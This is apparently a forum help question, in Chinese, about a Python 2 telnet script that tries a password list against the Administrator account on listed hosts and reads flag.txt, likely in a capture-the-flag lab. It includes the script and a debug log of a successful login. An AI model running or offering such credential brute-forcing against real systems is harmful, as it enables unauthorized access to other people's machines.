运行日志内有需要获取到的内容(This is First~!!!),但是返回结果却是None。
代码如下:
# -*- coding: utf-8 -*-
import telnetlib
import time
import getpass
def login_pw(tn,username,password):
tn.set_debuglevel(2)
tn.read_until('login:')
tn.write(username + '\r')
tn.read_until('assword:')
tn.write(password + '\r')
def write(tn,tips):
if tn.read_until(tips,timeout=0.5):
tn.write('cd \\' +'\r')
tn.read_until(tips)
more = tn.write('more flag.txt' + '\r')
tn.read_until(tips)
# return tn.read_very_lazy()
tn.close()
return tn.read_all()
def result(login):
print login
if __name__ == '__main__':
for host in open('list.txt'):
print(host)
tn = telnetlib.Telnet(host,port=23,timeout=1)
username = 'Administrator'
tips = '>'
pw = open('pw.txt').readlines()
for password in pw:
password = password.strip('\n')
login = login_pw(tn,username,password)
wr = write(tn,tips)
result(wr)
结果如下:
,23): recv 'ed\r\n\n\rlogin: '
Telnet(192.168.83.61
,23): send 'Administrator\r'
Telnet(192.168.83.61
,23): recv 'Administrator\n\rpassword: '
Telnet(192.168.83.61
,23): send '123456\r'
Telnet(192.168.83.61
,23): recv '\xff\xfd\x18'
Telnet(192.168.83.61
,23): IAC DO 24
Telnet(192.168.83.61
,23): recv '\r\n\r\n============================================='
Telnet(192.168.83.61
,23): recv '==================\r\nWelcome to Microsoft Telnet Se'
Telnet(192.168.83.61
,23): recv 'rver.\r\n=========================================='
Telnet(192.168.83.61
,23): recv '=====================\r\nC:\Documents and Settings\A'
Telnet(192.168.83.61
,23): recv 'dministrator>'
Telnet(192.168.83.61
,23): send 'cd \\r'
Telnet(192.168.83.61
,23): recv 'cd \\r\n\r\nC:\>'
Telnet(192.168.83.61
,23): send 'more flag.txt\r'
Telnet(192.168.83.61
,23): recv 'more flag.txt\r\nThis is First~!!!\r\n\r\nC:\>'
None